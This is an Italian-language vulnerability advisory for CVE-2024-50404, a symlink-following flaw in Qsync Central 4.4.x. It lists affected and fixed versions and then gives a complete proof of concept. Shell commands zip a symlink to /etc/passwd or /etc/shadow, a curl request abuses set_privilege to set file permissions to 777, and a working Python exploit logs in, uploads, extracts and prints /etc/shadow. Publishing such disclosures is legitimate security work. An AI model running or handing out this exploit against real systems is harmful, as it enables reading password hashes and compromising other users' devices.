
CVE-2024-50404
"È stata segnalata una vulnerabilità di follow-up dei collegamenti che interessa Qsync Central. Se sfruttata, la vulnerabilità potrebbe consentire a un utente malintenzionato remoto, che ha ottenuto l'accesso come utente, di attraversare il file system verso posizioni indesiderate."
Data della scoperta: 22 aprile 2024
Data della correzione: 7 dicembre 2024
Versione(i) interessata(e): Qsync Central 4.4.x
Versione(i) corretta(e): Qsync Central 4.4.0.16_20240819 (19/08/2024) e successive
Permessi di accesso: Utente normale con permesso di caricamento file
Riepilogo:
È possibile caricare un collegamento simbolico tramite un file ZIP e leggere il file a cui punta il collegamento caricato.
Inoltre, è possibile modificare i permessi del file di destinazione del collegamento simbolico.
Un utente malintenzionato con i privilegi di un utente normale può leggere i dati di altri utenti o gli hash delle password memorizzati in /etc/config/shadow, il che potrebbe portare al compromesso dell'intero sistema.
Inoltre, l'attaccante potrebbe rimuovere il permesso di esecuzione su importanti binari di sistema per rendere il sistema inutilizzabile.
Creare un collegamento simbolico e inserirlo in un file ZIP.
ln -s /etc/passwd link.txt
zip --symlink pwn.zip link.txt
Accedere come utente con pochi privilegi.
Caricare il file ZIP nella cartella .Qsync.

Estrarre il file ZIP facendo clic col destro e selezionando Estrai in /pwn/.

Aprire la nuova cartella pwn, fare clic con destro su link.txt e selezionare Apri.
Osservare che /etc/passwd viene aperto in una nuova scheda.

Creare un collegamento simbolico e inserirlo in un file ZIP.
ln -s /etc/shadow link.txt
zip --symlink pwn.zip link.txt
Accedere come utente con pochi privilegi.
Caricare il file ZIP nella cartella .Qsync.
Estrarre il file ZIP facendo clic col destro e selezionando Estrai in /pwn/.
Cambiare i permessi del file a cui punta il collegamento simbolico abusando della funzione set_privilege.
Richiesta Curl:
curl --path-as-is -i -s -k -X $'GET' -H $'Host: 192.168.178.156' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:124.0) Gecko/20100101 Firefox/124.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate, br' -H $'Referer: https://192.168.178.156/cgi-bin/' -H $'X-Requested-With: XMLHttpRequest' -H $'Sec-Fetch-Dest: empty' -H $'Sec-Fetch-Mode: cors' -H $'Sec-Fetch-Site: same-origin' -H $'Te: trailers' $'https://192.168.178.156/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid=9j27809t&source_path=/home/.Qsync/pwn/&source_file=link.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1'
Richiesta Burp:

È necessario sostituire il parametro sid nell'URL con un ID di sessione valido.
Aprire la nuova cartella pwn, fare clic con destro su link.txt e selezionare Apri.
Osservare che viene aperto in una nuova scheda.
Il seguente script Python può essere utilizzato per sfruttare la vulnerabilità.
#!/usr/bin/env python3
from requests import Session
import base64
import os
import re
import time
import urllib3
# adjust following variables
ENDPOINT = 'https://192.168.178.156'
USERNAME = 'victim'
PASSWORD = 'Victim123!'
FILE = '/etc/shadow'
#DEBUG_PROXY = 'http://localhost:8080'
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def main() -> None:
session = Session()
#session.proxies.update(http=DEBUG_PROXY, https=DEBUG_PROXY)
session.verify = False
print(f'carefull, privileges of {FILE} are changed to 777! clean up is not implemented')
print('creating zip file')
os.system('rm -f pwned.txt pwn.zip')
os.system(f'ln -s {FILE} pwned.txt')
os.system('zip --symlink pwn.zip pwned.txt')
print('loggin in')
response = session.post(
f'{ENDPOINT}/cgi-bin/authLogin.cgi',
headers={'Content-type': 'application/x-www-form-urlencoded'},
data={'user': USERNAME, 'serviceKey': '1', 'client_app': 'Web Desktop', 'dont_verify_2sv_again': '0', 'pwd': base64.b64encode(PASSWORD.encode('ascii')).decode('ascii'), 'client_id': '2b491dc6-6542-480d-a3a2-bbe3b433b764'},
)
assert response.status_code == 200
match = re.search(r'<authSid><!\[CDATA\[(.*?)\]\]></authSid>', response.text)
assert match
sid = match.group(1)
print('uploading zip file')
with open('pwn.zip', 'rb') as file:
upload_file(session, sid, 'pwn.zip', file.read())
print('unpacking zip file')
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=extract&sid={sid}',
headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'},
data={'mode': 'extract_all', 'pwd': '', 'path_mode': 'full', 'extract_file': '/home/.Qsync/pwn.zip', 'code_page': 'UTF-8', 'overwrite': '1', 'dest_path': '/home/.Qsync'},
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
# wait a bit
time.sleep(5)
print('changing privileges on file')
response = session.get(f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi?func=set_privilege&sid={sid}&source_path=/home/.Qsync/&source_file=pwned.txt&bOwn_w=1&bOwn_r=1&bOwn_x=1&bGroup_r=1&bGroup_w=1&bGroup_x=1&bOther_r=1&bOther_w=1&bOther_x=1')
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
print('read file')
response = session.get(f'{ENDPOINT}/cgi-bin/qsync/qsyncsrv.cgi/pwned.txt?sid={sid}&func=get_viewer&source_path=%2Fhome%2F.Qsync&source_file=pwned.txt')
assert response.status_code == 200
print(response.text)
print('done')
def upload_file(session: Session, sid: str, filename: str, content: bytes) -> None:
# get upload id
response = session.post(f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi', headers={'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8'}, data={'upload_root_dir': '/home', 'func': 'start_chunked_upload', 'sid': sid})
assert response.status_code == 200
data = response.json()
upload_id = data['upload_id']
assert upload_id
# upload file
response = session.post(
f'{ENDPOINT}/cgi-bin/filemanager/utilRequest.cgi?func=chunked_upload&sid={sid}&dest_path=%2Fhome%2F.Qsync&mode=1&dup=Copy&upload_root_dir=%2Fhome&upload_id={upload_id}&offset=0&filesize={len(content)}&upload_name={filename}&settime=1&mtime=1713395222&overwrite=1&multipart=0',
files=(
('fileName', (None, filename.encode('ascii'))),
('file', ('blob', content, 'application/octet-stream')),
),
)
assert response.status_code == 200
data = response.json()
assert data['status'] == 1
if __name__ == '__main__':
main()
